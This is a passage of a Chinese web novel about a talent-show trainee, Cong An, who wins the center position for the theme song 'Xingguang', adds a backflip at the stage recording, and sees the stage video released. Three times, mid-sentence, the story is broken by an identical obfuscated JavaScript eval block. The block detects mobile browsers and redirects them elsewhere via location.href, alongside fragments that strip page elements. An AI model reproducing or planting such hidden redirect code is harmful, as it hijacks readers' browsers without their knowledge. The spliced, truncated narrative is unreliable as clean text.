主题曲考核结束,现在,就是录制再次评级的时候了。 同时,主题曲舞台中心位,也会在今天公布。 莫烟站在台上,手里拿着最终的分班名单和成绩总表。她没有过多寒暄,直接切入正题。 “根据主题曲再评级考核分数,现公布最新分班结果。” 从A班开始,莫烟逐一念出每个人的名字,说出每个人的分数,再说出他的等级。 A班五人经过主题曲考核后,依旧留在了A班。 在莫烟的恭喜声中,坐在A班席位上的五人互相拥抱,互相祝福,脸上是喜悦的笑容。 下面其他等级的练习生们仰头看着他们,眼睛里是藏不住的羡慕。 很快,莫烟继续念出了B班练习生的名字。 B班有不少人的等级没有发生变化,依然留在B班,但除此之外,还有不少等级下来,来到了C班的练习生。 随着他们的名字出现,演播厅内的掌声和欢呼声都停了,等他们来到C班的位置,银色的B班训练服混在C班的粉丝训练服中,格格不入,也让气氛变得有些凝滞。 接着,两名从B班升到A班的练习生名字也被莫烟念了出来,他们从B班的队伍中离开,顺着阶梯走到了A班的位置。 掌声响起,之前短暂停下的恭喜声,再次响了起来。 B班结束,紧随其后的就是C班。 这回所有人都打起了仅剩,众人的目光都不约而同地落在了一个人身上。 在一群同样身穿粉丝训练服的人里,从安的身上仿佛带着光环,引人注目。 被如此多人看着,从安毫不怀疑,此刻那些盯着他的人,比他更在乎这个成绩。 就这样在一个接一个的名字下,等从安的名字从莫烟口中被念出时,从安甚至觉得周围突兀地安静了一下,然后才迅速地想起了热烈的欢呼声。 掌声,恭喜,响彻在从安耳边。 他站起来,朝周围的人点头道谢,然后转身向上,走到了属于A班的位置。 这几次在演播厅的座位和第一天的座位不同,虽然依然是金字塔形的阶梯,但彻去了所有座椅,所有人以班级为单位,坐在不同的阶梯上。 A班的阶梯最高,高到能在上面,看到所有人的头顶。 从安坐下的时候,视线从下面一扫而过,和许多抬头看过来的人对上了视线。 主题曲升A不在他的预料之中,但得到这个成绩,他也毫不意外。 他的努力得到了成果,这就是对他最大的肯定。 他不会在意别人的目光,他只会更加努力,朝着自己的目标前进。 无数视线在从安身上停留了一会儿,见他表情没有丝毫变化,A班其他人脸上也看不出丝毫东西,就纷纷收回了目光。 录制还在继续,直播依然在进行,他们的一举一动都在被注视,所有人都希望自己能拥有更多的镜头。 等级公布有条不紊地进行,又过了好一会儿,F班最后一名练习生的名字被念了出来。 依然停留在F班。 高兴,失落,平静……种种情绪在练习生们脸上浮现,但没有给大家太多调整情绪的时间,莫烟的声音还在继续。 “同时,”莫烟的声音将所有人的注意力再次拉回,“根据规则,主题曲考核分数最高的练习生,将担任本次主题曲《星光》舞台录制及MV拍摄的中心位。” 她顿了顿,目光投向A班区域,清晰而肯定地念出那个名字: “恭喜,从安。” 哗—— 尽管早有心理准备,但正式宣布的这一刻,演播厅里还是不可避免地响起一片低低的哗然和骚动。 无数道目光,像被无形的线牵引,齐刷刷地射向从安。 惊讶、羡慕、审视、不甘、好奇……种种情绪混杂在那些视线里。 然后,几乎是下意识地,更多的人,把目光悄悄转向了坐在从安旁边的师启。 被无数人默认最强的练习生,现在被从安抢走了主题曲的中心位,他会是什么想法? 生气吗?不敢吗?嫉妒吗? 师启笑着看向从安,和其他A班的练习生一起向从安说恭喜。 从安脸上也是大大的笑容,这个全场最高的分数,这个中心位的位置,无疑是对他最大的肯定。 分班录制结束,今天真正的考验才刚开始。 离开演播厅,所有练习生被带到最大的练习室。 说是练习室,这里其实是一个运动场。 宽阔的场地,足以容纳下一百名练习生。 今天,他们将在这里进行主题曲舞台录制前的最后一次集体合练。 一百个人,按照新的班级,站成不同的区块。 A班在最前方中央,往后依次是B班,C班,D班和F班。 从安站在A班的中心位。 站队的时候,其他人不约而同地让出了这个位置,让从安站了过去。 音乐响起。 第一次集体跟练,效果可想而知。 动作参差不齐,歌声高低错落,走位混乱,一百个人的呼吸和脚步声混在一起,显得嘈杂而缺乏凝聚力。 导演讲了几次话,要求大家先专注于自己的部分,把动作和歌词做到位,再考虑整体配合。 练习了几遍基础动作后,导演示意:“中心位,从安,你先单独来一遍,给大家看看整体感觉和走位路径。” 所有人的动作都停了下来,练习室里瞬间安静。 一百双眼睛,聚焦在最前方那个穿着金色训练服的少年身上。 从安点点头,走到练习室中央。 音乐再次响起,还是那首《星光》。 昨天在考核的小房间里,隔着屏幕看,和今天在现场,面对面地看,是完全不同的两种感受。< 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“我的天……”李瑞喃喃道,“昨天考核就已经很牛了,今天看着怎么更厉害了?” 安文乐没说话,只是紧紧盯着从安的动作,下意识地跟着微微晃动身体。 过去三天在C班练习室的记忆涌上来,那个对着镜子一遍遍磨同一个wave的背影,那个累得大汗淋漓却还在调整呼吸练习高音的身影,那个永远最早来最晚走、餐盘里只有几片菜叶和鸡胸肉的人……和眼前这个光芒四射的中心位重叠在一起。 他突然就明白了。 从安不是高傲,不是目中无人,更不是不屑一顾,他是太过投入以至于无法再看到别的事情。 这样的舞台必须要全身心投入的练习,所有其他的念头,都是努力路上的绊脚石。 只有付出所有努力,把每一分每一秒、每一滴汗水、每一次呼吸,都压榨到极致后,才能凝结出这样的果实。 安文乐猛地垂下头,不敢再看最前方的从安。 明明对方的视线和他没有分毫交汇,但此刻脑海中却不断浮现第一天和从安对话时对方的目光。 宛如一道利剑,狠狠插进了他的心里。 其他班级的练习生,尤其是那些原本对从安的成绩心存疑虑甚至不服的人,此刻的感受更为复杂和震撼。 隔着屏幕,他们可以挑刺:这里力度是不是还能再强一点?那里表情是不是有点过于外放?唱歌的共鸣位置是不是还能更好? 但当从安活生生地在他们面前表演时,那些细微的、技术层面的东西忽然变得不那么重要了。取而代之的是一种更直接的、近乎本能的感受:他好耀眼,他好投入,他……让人忍不住想跟着他一起跳,一起唱。 查舟抱着胳膊,歪头看着,先前那点玩味的神色收敛了,变得认真起来。柯子晋微微蹙着眉,目光紧随从安的脚步和手势,像是在分析,又像是在学习。余修文则轻轻“哇”了一声,脸上是纯粹的欣赏。 就连一直没什么表情的师启,此刻也目不转睛地盯着从安,看得专注极了。 一遍跳完,从安停下,微微喘气,额角有细密的汗珠。 练习室里安静了几秒,然后,掌声响起。 这次的掌声,比刚才在演播厅里宣布他为中心位时要真诚得多,也响亮得多。 许多人的脸上还带着未褪去的惊讶和叹服。 导演也鼓了鼓掌,拿起话筒:“很好!从安,保持这个状态!其他人看到了吗?这就是我们主题曲要的感觉!活力,感染力,全力以赴的追梦感!不是机械地做动作,是要带情绪,带故事!现在,所有人,跟着音乐,我们再合一遍!从安,你带一下大家!” 音乐再次响起。 这一次,当从安在最前方领舞,当他充满感染力的歌声和舞蹈动作成为清晰的坐标时,整个练习室的氛围似乎都不同了。 不少人下意识地调整了自己的力度和表情,努力去靠近前方那个标杆。 当然,距离整齐划一还差得远,但那种散乱无章的感觉确实减弱了,所有人的目光都不由自主地朝同一个方向汇聚。 32.新的动作 经过一天的练习,第二天,就到了主题曲舞台正式录制的时候。 一大早,练习生们就整装待发,来到了主题曲录制的场地。 密闭的场地内,无数灯光亮起,把整个录制棚照得一片通明。 中间是一个舞台,舞台是圆形的,像一个巨大的、等待被点燃的光盘。 不同等级的练习生按照事先排好的位置,站成了一圈圈的同心圆。 F班在最外围,然后是D班、C班、B班,A班在圆心。 而从安,作为中心位,就站在那个圆心正中央的点上。 所有人都换上了节目组统一准备的制服。 蓝白配色,海军领,收腰的设计,青春洋溢,十分修身。 直播从练习生们进入录制棚的时候就开始了。 【来了来了!制服诱惑!(bushi)】 【哇这制服好看!清爽!】 【颜狗天堂!让我看看让我看看!】 【中心位是从安对吧?站最中间那个?镜头拉近点啊!】 【从安穿这身可以啊!蓝白显白,他好像瘦了点?】 【确实,脸型看起来没那么圆了,轮廓出来了】 【三天95分的大佬!期待舞台!】 弹幕飞快滚动,许多人的注意力第一时间被站在最显眼位置的从安吸引。 镜头也很懂,时不时就扫过他的脸,或给他一个上半身的特写。 练习生们的入场结束,直播间的画面固定在一个较高位的镜头上。 这个角度可以完整看见整个舞台,看得见每个练习生的动作,但看不清他们具体的表情。 练习生们今天没有带麦,直播间里也没有了他们的声音,只有一个全局的、略显嘈杂的整个空间的声音。 主题曲的录制是一个复杂且繁重的工作,想在这个时候保证直播效果并不容易,所以就直接舍弃了特写的直播机位,选择了这种类似监控的画面。 这样的画面一出,观众们开始时还不大适应,但很快,就察觉出这样的好处来。 不再看单独的特写,没有了和镜头的互动,这样的视角,有一种窥见了练习生私下状态的感觉。 练习生们不知道直播间的变化,但现在他们也顾不上了。 拿着扩音喇叭的秀导站在舞台前方,开始指挥。 “大家注意!听我说!”秀导的声音透过喇叭有些失真,“我们现在先走一遍位置,熟悉动线,然后会告诉你们镜头在哪里,什么时候该看哪个机位!” 一百个人,一百个站位,即使没有复杂的队形变换,仅仅是原地舞蹈,也要考虑镜头捕捉的角度和每个人的表情管理。 秀导拿着厚厚的分镜本,开始一个个区域地讲解。 A班,尤其是中心位的从安,自然是重点中的重点。 “从安,你记住,”秀导走到他面前,手指向不同方向,“副歌第一段,正前方一号机,给特写,你要对着它笑,手往上扬的动作要做到位。第二段,你左前方三号机,会抓你侧脸和转身的镜头。结尾部分,正前方和上方摇臂都会拍你,ending pose至少保持两秒,眼神要定住,要有‘这就是我的舞台’那种感觉,明白吗?” 从安静静听着,目光随着秀导的手指方向移动,在心里快速构建出镜头切换的路线图。 这种面对多机位的表演他并不陌生,在公司的演唱会、之前的出道综艺里,都有过更复杂的走位和镜头互动。 他点点头:“明白了。” 秀导看他神色平静,眼神清明,不像其他一些练习生那样紧张或茫然,稍微放心了些,又多叮嘱了几句细节,才转向其他区域。 “B班,靠左的注意你们三点钟方向的五号机!” “C班后排,别忘了你们前面的七号机是拍全景的,就算在后面,表情管理也不能松懈!” “所有人!记住歌词里的‘Hey!’那一声,都要抬头,看你们斜上方的摇臂!我们要一个集体向上看的镜头!” 指令一条接一条,空气里弥漫着轻微的焦躁。 在舞台前方站满的工作人员,不断调试机位的摄像师,在对所有人强调设计的秀导……不再是练习室的轻松,而是真的,一份正式的,要面对所有观众提交的录制,即将开始。 练习生们原本还有些激动的心情立刻被紧张替代,变成了束手束脚的谨慎。 而在这种场景下,站在所有人中央,原本就十分显眼的从安,此刻变得更加突出。 他泰然自若地面对秀导的指示,甚至还能说两句话和秀导讨论,自己在看不同角度的机位,甚至还在属于自己的中心小舞台上走来走去…… 是一种和所有人都不同的轻松。 李瑞站在C班比较靠前的位置,能看到从安的侧影。 他看着从安那副沉静专注的样子,心里曾被压抑住的复杂情绪又翻涌上来。 羡慕,嫉妒,遗憾,担忧…… 毫无经验的他和经验丰富的从安果然不一样,在练习室时大家好像都是在对着镜子练习,没有任何差别,但等真的站上舞台,出自大公司的从安,这种毫不怯场的心态,是李瑞练习多久都练习不出来的。 这无关练习时长的长短,而是要真的站上舞台,面对观众,在一份份目光和镜头的注视下,通过无数经验堆叠起来的心态。 但哪怕是在李瑞眼里无论是努力,还是实力,又或是现在这站在舞台上的经验,都数一数二的从安,在属于他自己的去年的出道战中,也是没有成团的那一个。 那么在今年的选秀里,他真的有出道的希望吗?李瑞垂下眼,只觉得自己希望渺茫。 讲解花了将近一个小时,然后是第一次带机彩排。 音乐响起。 混乱。 只能用这个词来形容。 版型修身的制服,成了第一个拦路虎。 许多练习生习惯了练习室里宽松的训练服,突然换上挺括但限制活动的制服,动作顿时变得僵硬畏缩。 抬手不敢抬太高,踢腿怕崩开线,旋转时担心身上的配饰被甩掉。 动作幅度一缩小,力度就出不来。 原本在练习室里还能勉强做到的动作,在镜头前变得绵软无力。 更别提秀导刚才反复强调的看镜头了。 音乐一响,很多人连动作都顾不过来,哪里还记得该在哪个节拍看向哪个方向? 于是镜头扫过,看到的是一张张或紧张、或茫然、或拼命回忆动作而显得有些扭曲的脸。 手臂举起的高度参差不齐,点头的节奏乱七八糟,连最简单的踏步,都能踩出十几种不同的轻重缓急。 【呃……这跳的啥……】 【灾难现场啊我的天】 【制服是好看了,但动作也太缩了吧?没吃饭吗?】 【除了中间A班那几个,其他人简直在梦游】 【从安跳得是真不错,动作还是很有力】 【只有从安在认真看镜头吧?刚才那个对视我没了!】 【对比太惨烈了,其他人是在伴舞吗?(没有说伴舞不好的意思)】 【这季实力这么参差的吗?】 弹幕毫不留情,秀导在监视器后面看着拍摄的画面,眉头皱得能夹死蚊子,但脸上并没有太多意外。 他干这行许多年了,太清楚了。 练习室里的会跳,和穿上正式服装、面对真实镜头、顶着压力下的能跳,完全是两回事。 心理素质、舞台经验、甚至体力分配,都是考验。 像从安那样,穿着紧绷的制服还能把动作做到位、力度不减、甚至表情管理全程在线的人,才是异类。 就连被公认为实力最强的师启,在刚才彩排的镜头里,也因为服装不适应和注意镜头方位,动作比平时收敛了两分,显得没那么炸。 “停!”秀导拿起喇叭,“不行!完全不行!” 音乐戛然而止。 练习生们停下动作,不少人脸上露出疲惫和沮丧。 “动作!给我做到位!衣服紧了就不敢动了?那上台穿西装怎么办?裹被子吗?”秀导声音严厉,“还有镜头!我刚才白说了?该看哪儿看哪儿!不要低头!不要看地板!你们面前是观众!是未来给你们投票的人!” 他深吸一口气,指了指中央的从安:“看看从安!同样的衣服,他怎么就能跳开?同样的镜头,他怎么就能记住?不是他比你们多长了个脑子,是他更专注,更敢做!舞台表演,要释放!要放大!在练习室用七分力,到这里,就得用十分,十二分!不然镜头吃动作,观众什么都看不见!” 被点名表扬的从安脸上没什么表情,只是微微调整了一下呼吸。 他太知道这种集体舞台第一次彩排会是什么样了。 当年他们公司演唱会前彩排,比这混乱的时候多了去了,关键是要快速适应,找到在束缚中依然能发力的方法,以及把镜头位置变成肌肉记忆的一部分。 接下来的整个上午,就在一遍遍的停顿、纠正、再彩排中度过,进度缓慢,但比起最初那场灾难,总算有了点样子。 至少大部分人能记住几个关键节点的镜头方向了,动作也放开了一些,虽然离整齐划一还差得远。 中午休息,食堂里的气氛有些低迷,不少人看着餐盘唉声叹气,既是累的,也是被上午的打击闹的。 下午一点,录制继续,导演杜唐也出现在了棚里,坐在监视器后面,面色严肃。 简单热身和最后一遍走位确认后,下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983096|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午第一次正式录制开始。 音乐,灯光,镜头全部就位。 “《星光》主题曲舞台,第一次录制,Action!” 比起上午,这次好了很多,紧张感依然有,但至少没有人明显忘动作或走神。 从安在中心的表演稳定而富有感染力,几个特写镜头抓到他时,眼神和表情都恰到好处,A班其他几人也基本稳住了。B、C班偶有瑕疵,但整体框架算是立住了。 一曲结束。 练习生们保持着结束姿势,喘着气,等待着导演的评判。 杜唐盯着回放画面,看了良久,手指在膝盖上轻轻敲着。 “感觉差了点什么。”他吐出几个字。 秀导心里一紧。 “完成度可以,但……缺个爆点。”杜唐摸着下巴,“太规整了,少了点让人哇一下的东西。” 他想起星光导师版的编舞中,那个设计在后半段的空翻动作。 伴着第一段高潮后一个短暂的顿点,厍贝从舞台后方跃出,在所有人前方一个空翻,跪地,望向镜头。 主题曲公布时,导师们表演的版本,杜唐对这个画面印象尤其深刻。 可能是因为厍贝利落的动作,干脆的跪地,坚定的眼神……总之,在厍贝和镜头对视的瞬间,杜唐确实感受到了无可比拟的力量感。 而现在的《星光》,正缺少这份力量感。 练习生们学习的《星光》版本,因为考虑到练习生水平参差不齐,空翻难度高、危险、且不容易整齐,所以在教学中取消了。 但现在,杜唐看着站在中心位、动作干净利落、核心力量肉眼可见扎实的从安,一个念头冒了出来。 “把从安叫过来。”杜唐说。 从安很快被工作人员带到监视器旁。 “空翻,你会吧?”虽然是问句,但杜唐的语气里并没有太多疑问,他知道从安会,他指着屏幕上某个节点,“原来编舞这里有设计一个空翻,接滑跪定格,后来取消了,你觉得,你来做,行不行?” 从安看向屏幕,根据杜唐说的节点,他很快想起了之前导师示范的那个《星光》版本,想起了厍贝的空翻动作。 如果是那样的空翻…… 从安点头:“可以。” 前天晚上的练习,他练习的正是这个动作。 尽管当时只是心血来潮,想起导师们表演的版本,又想起自己在过去两年中,曾经花费许多精力练习过的动作,所以才重新把这个动作练习了一下,并没有想着能在主题曲舞台上表演。 但现在杜唐主动提出来,从安没有拒绝的理由。 这无疑是一个很好的机会。 而他,整装待发。 见从安答应的干脆,杜唐忍不住笑了起来,他就喜欢这干脆劲儿,“好,你去试一下。” 从安顺着杜唐手指的方向走到旁边空旷处,练习生们都被他的动作吸引,看了过来。 从安简单活动了一下脚踝和腰部,深吸了一口气。 助跑,起跳,腾空,翻滚,落地——动作一气呵成,稳稳停在杜唐面前。 在和杜唐对视的瞬间,从安清晰地从对方眼里看见了满意的目光。 “好!”秀导忍不住低喝一声。 从安的这个空翻,做得太好了。 杜唐刚才提出让从安来做这个空翻的时候,秀导差点就没忍住直接制止杜唐。 常年和舞台打交道的秀导,清楚的知道这种动作的难度有多大。 不是空翻不好做,而是要在镜头前,要在舞台上,要能融入这个舞台的氛围,把这个动作做出来的难度有多大。 舞台是有设计的,是有主题的,更是有氛围的。 一个突如其来的空翻动作,很可能会打断这种舞台的氛围,成为一个突兀且毫无美感的炫技,这样的空翻,不如不要。 而厍贝的空翻能融入主题曲的舞台中,那是因为这支舞蹈有厍贝的编舞,她清楚的知道这支舞蹈的一切,再加上她自己的实力,才能在导师表演的舞台中,让这个动作成为闪亮的一笔。 但练习生?秀导不觉得他们有这样的实力。 但是从安刚才的空翻,却完全打翻了秀导的想法。 秀导不知道从安是怎么做到的,但刚才那一个空翻,轻盈,轻松,甚至在从安落地后抬头的笑容,都充斥着青春的活力,仿佛只是午后阳光下的一段奔跑,惬意的毫不费力。 这样的氛围如果融入到主题曲舞台,无疑是加分的。 杜唐一锤定音:“就加上这个动作。从安,你单独做,其他人保持原动作。这会是一个你的个人高光时刻,也是整个舞台的一个记忆点,有问题吗?” “没有。”从安站起身,脸上浮现出大大的笑容。 33.只有一秒 新的动作定了下来,原本设计的分镜就要做新的调整。 不过好在这个动作只需要从安一个人完成,其他练习生只要站在旁边,起到一个观赏的作用就可以了。 修改动作的难度骤降。 秀导花了几分钟时间,就想好了如何把这个新动作插进去。 “其他练习生排成两排,然后从安在中间起跳空翻,杜导你觉得怎么样?”秀导低声对杜唐开口。 杜唐顺着秀导的话想了一下,觉得没什么问题,颔首道:“我觉得可以。” 导演同意,秀导立刻开始新的一轮指挥。 拿着喇叭再次说话。 主题曲舞台的时间说短,也有四分多钟,但要说长,让一百名练习生在这四分钟内一一露面,那可真是太短。 其中还要展示舞台,展示舞蹈,展示声乐……四分钟,更是每一分每一秒都无比珍贵。 这个新加入的空翻动作,既然是为了塑造一个小高潮,自然就不能让它平平的过去。 秀导转念之间,就已经把之前规划的拍摄计划掀翻,决定在这一段,改为一整个特写。 通过后期剪辑,最大程度地展现这个动作的张力。 站在原地休息的练习生们,只看见从安被突然叫走,和导演说了几句话,然后就突然走到一边,做了一个干脆利落的空翻,引发了一阵不小的骚动。 这种高难度动作,无论是说起来,还是看别人做起来,果然都那么厉害。 只是这个时候突然做这个动作,是为什么? 疑问还没有问出口,秀导的安排就先一步响起,练习生们按照秀导的指示,F班和D班站在原地没有动,C,B,和A班的练习生,从中间分开,站成两列。 然后从安从后方站上舞台,从阴影处走出,一步,两步,加速,在踏上中心舞台的圆心处时,起跳,空翻,稳稳落地。 “可以。”杜唐的声音透过喇叭,在整个录制棚响起。 秀导回头,杜唐坐在监视器后面,看着屏幕的表情十分满意。 杜唐都满意了,秀导也就安心了。 他觉得从安的这个表现确实非常不错,但是也不是没有吹毛求疵的空间,但如果导演这么愉快的敲定,那当然是再好不过的了。 这个动作意外简单地排完,接下来就可以再次开始录制。 秀导正要离开,从安的声音突然又响了起来。 “导演,我有一个想法。”从安微微举手,一脸乖巧地开口。 和秀导对视后,略带羞涩地笑了笑。 秀导微一挑眉。 没想到居然有练习生会在这样的主题曲录制环节,主动提出自己的想法。 不是说练习生没有自己的想法,秀导相信,在场的一百名练习生每个人都有自己的想法。 但是有自己的想法,和敢说出自己的想法,可是完全两回事。 本身在这样的选秀节目中,尤其还是在投票刚开始,练习生们每个人的人气都还没有任何起色的时候,在整个节目组,练习生可谓是位于整个金字塔的最低端。 每一名节目组的工作人员,都拥有比他们更大的权利。 不需要真的能做什么,仅仅是拥有手机,就能够达成不少事情了。 在这种情况下,节目组就意味着权威。 权威就意味着不可反驳。 而有自己的想法,且提出自己的想法,就是最直接的在挑战权威,并试图让权威低头的动作。 虽然这只是一种夸张的说法,但在选秀这种封闭的环境内,节目组的权利确实得到了些许的放大,绝大多数的练习生,在很多情况下——尤其是在现在节目刚开始录制没几天的情况下,是不太会主动表达自己的想法的。 更别提……现在从安的表情,这个想法看起来并不是一个无足轻重的想法。 但主题曲的中心位,完全值得一个想法。 秀导心里的念头转了很多,但时间也只过去一瞬,在旁人看来就是从安开口之后,秀导很快就点头回应:“你说。” “是这样的,最后我的那个ending pose画面,能不能不一直拍我?镜头先给我一个特写,大概一秒,然后,我手向上指,镜头跟着我的手,摇上去,拍到顶棚的灯光,就像指向‘星光’本身,歌曲也叫《星光》,这样呼应,会不会更有意境一点?” 秀导一怔。 这个想法……倒是有点意思。 打破了常规的怼脸拍,增加了画面动感和寓意,也确实更点题。 要说缺点的话,那就是—— “你确定?”秀导确认道,“这样你的ending镜头可能就只有一秒左右了。” 原本两秒的怼脸拍,变成一秒的特写,还是加上了抬手动作的一秒,这可不是仅仅修改动作那么简单了。 作为节目的主题曲,《星光》舞台的视频,势必会得到节目组的大力推广,很可能成为整季节目播放最高的舞台也说不定,在这样的舞台里,每一秒的出场都十分重要。 多一次露脸,就多了一次让人记住的机会。 但现在从安居然要在自己最后的ending镜头里,直接减半自己露脸的时间? 秀导惊讶片刻,但很快就收敛了情绪。 作为中心位,从安的镜头本就最多,现在还加上了一个空翻动作的特写,这最后两秒的ending pose,或许也确实显得没有那么珍贵了。 “我确定。”从安点头。 他不知道秀导的想法,但是他自己清楚的知道,两秒的镜头或许重要,但想要在这样的两秒的镜头里出圈,何其困难。 除非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986852|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拥有惊心动魄的‘神颜’,又或是让人耳目一新的动作,又或者叫人惊讶到难以忘却的表现……但无一不难。 而他现在没有这样的东西。 所以,对他而言,一个巧妙的、能让人记住的镜头设计,或许比多一秒的脸部特写更有价值。 从安既然如此确定,秀导也不多说什么,从安的这个动作完成起来不难,而且确实有几分新意在,他很快点头应下:“可以。” 自己的想法得到肯定,从安立刻开心的笑了,十分礼貌地道谢:“谢谢导演。” 谁不喜欢谦逊的练习生? 秀导脸上浮现笑容,“没事。” 说完,秀导转身就走,只是刚走一步,就又被叫住了。 “导演!” 秀导停下脚步看过去,只见侧面一名练习生走了过来。 “我也有一点想法。” 秀导仔细看了看这名练习生的脸,穿上制服,化了舞台妆,脸变得有些陌生,他没有认出这名练习生是谁。 不过看他走过来的方向,应该是B班的某名练习生。 估计是刚才听见了他和从安的对话,听见从安有自己的想法,并且得到了肯定,所以也想要自己的ending镜头有一些特别的设计。 果不其然,等练习生走到秀导面前停下后,开口就是:“我的ending镜头可以加一个道具吗?” 秀导:“……” 秀导视线一转,看见周围一圈练习生都是满脸跃跃欲试。 很明显,如果他此刻同意了这名练习生的想法,那下一秒,周围的这群人,就会都围上来,七嘴八舌地说出自己的想法。 有想法是好事,但——主题曲舞台的录制,不需要这么多想法。 秀导站定,轻咳一声:“你们的ending pose你们自己想做什么动作,有什么设计,ending的时候自己做就可以了,不用征求我的同意。” 不要找他。 找他也没用。 要想有特别的ending pose,那也得先有ending镜头才行。 而分镜表上,早已写明了每名练习生的镜头设计。 这些他没有印象的练习生,自然不属于有ending镜头练习生的行列。 现在来找他提想法?怎么,还要他专门安排机位,去拍摄他们的ending pose吗? 周围的练习生闻言一脸失望,有些人还着急起来,想要开口。 如果是自己就能完成的动作,那何必还找秀导? 开口叫住秀导的练习生也面带急促,他想要的当然不是随处可见的简单道具,他开口,自然是想得到帮助。 只是练习生们还没来得及说话,秀导就快步离开了舞台,只给周围这一圈练习生留下一个忙碌的背影。 34.主题曲舞台视频上线 晚上八点整,绿洋影视准时发布了《星光熠熠》第七季主题曲《星光》的官方舞台视频。 几乎在上线的瞬间,播放量就开始疯狂跳动。 伊霜早就守在了屏幕前。 下午的录制直播她只断断续续看了些片段,知道从安是中心位,好像还有一些特别的设计,但完整的效果究竟如何,她和其他所有粉丝一样,心里揣着一把火,既期待又紧张。 她点了全屏,把音量调大,屏住了呼吸。 一片深蓝色的背景中,画面正中亮起一束追光。 光柱里,是从安。 他穿着那身蓝白制服,微微垂着头,侧脸轮廓在光影下显得清晰而柔和。 然后,他缓缓抬起头,看向镜头。 那双眼睛在特写下格外明亮,像蓄着两潭深泉,平静,却又仿佛有漩涡在深处涌动。 他扬起手臂,五指张开,向着斜上方,仿佛要握住什么。 就在他指尖伸展到最高点的刹那,镜头骤然拉远。 整个圆形舞台的全貌瞬间铺满屏幕,一百名少年整齐列队,蓝白色的制服连成一片起伏的海洋。 几乎在同一时刻,《星光》轻快有力的前奏鼓点一声炸响,画面随着节奏微微震颤,舞台瞬间动了起来。 最外围的F班少年们首先起舞,他们的动作或许还有些生涩,力度也稍欠,但那努力向上伸展的手臂,绷直的脚尖,还有脸上那股憋着劲儿的认真表情,带着一种原始的、未经雕琢的生命力。 镜头快速推进、切分。 屏幕里闪过一张张D班练习生的面庞,他们的动作整齐了不少。 许多人双手挥舞,脸上是大大的笑容,眼里是从未有过的认真。 然后是C班。 全员的舞蹈整齐且活泼,镜头扫过几个人的脸,周骏一个跳跃,头发跟着扬起,旁边的安文乐在转身的瞬间,对着镜头快速眨了下眼,明媚又俏皮。 接着是B班。 他们的动作整齐划一,踩着相同的节奏,带来了清晰的力量感。 有人在高音部分仰起头,脖颈拉出漂亮的线条;有人在密集的鼓点中完成了一串利落的脚步变换。 夏实和汪元白在一个双人对称动作里默契地对视了一眼,镜头恰到好处地定格了半秒。 节奏越来越快,镜头切换也越来越疾。如同汇聚的溪流,画面最终涌向了舞台的最中心—— A班八人,如同打磨过的钻石,在灯光下熠熠生辉。 查舟一个充满力量感的定点,混血五官冲击力十足,柯子晋旋转后稳稳站定,气息平稳地唱出自己的段落,余修文笑容灿烂,感染力扑面而来,白思远和陈子谦各有特色,一个清冷,一个温润,师启的动作精准得像用尺子量过,每个角度都无可挑剔,当他看向镜头时,那种沉淀过的气场瞬间抓住所有人的视线。 而在这八人之中,最中心的那一点—— 镜头猛地推到从安面前。 他刚好完成一个幅度极大的侧身展臂,回正的瞬间,脸迎向镜头,额发被汗水濡湿了些许,贴在饱满的额角。 他开口,唱出了属于中心位的第一句副歌: “就向着星光,勇敢去闯——” 声音清亮,稳定,带着奔跑后的微微喘息感,却奇异地更添真实与力量。 不是录音棚里修出来的完美无瑕,而是现场真唱的生命力。 他的舞蹈动作大开大合,是一种更加外放、更具侵略性的洒脱。 【哇哦这个C位有点帅】 【我的天好帅!!!】 【啊啊啊啊啊安安】 【从安这么帅??!】 【这个C位好强】 弹幕层层叠叠地飘过。 歌曲进入第一次高潮,集体舞段整齐划一,手臂起落如同波浪。 从安站在最中心,室每个人的目光焦点。 他的卡点都精准有力,他的笑容始终洋溢在脸上,不是模式化的微笑,而是一种沉浸其中、发自内心的明亮神采,极具感染力。 第二次主歌过后,间奏的鼓点忽然变得急促而富有悬念。 画面一切。 A班和B班靠近中心的练习生们忽然向两侧分开,迅速让出一条通道。 音乐有一个极短暂的、蓄力般的停顿。 一道蓝色的身影从后方阴影中急速冲出。 是从安! 他助跑,起跳——身体在空中舒展开,一个干脆利落的空翻! 制服衣摆在空中划出充满力道的弧线,如阳光清爽的蓝白色,此刻却迸发出惊人的爆发力。 “咚!” 从安稳稳落地,是单膝滑跪的姿势,缓冲,定格。 镜头几乎怼到他的脸上。 额发凌乱地散在眉骨,嘴角勾起一抹笑。 他抬起头,眼神如同淬过火的刀锋,锐利,明亮,带着一种不容置疑的笃定,直直刺向屏幕之外。 那个瞬间,屏幕前无数人,包括伊霜,心脏都像被狠狠攥了一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997729|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 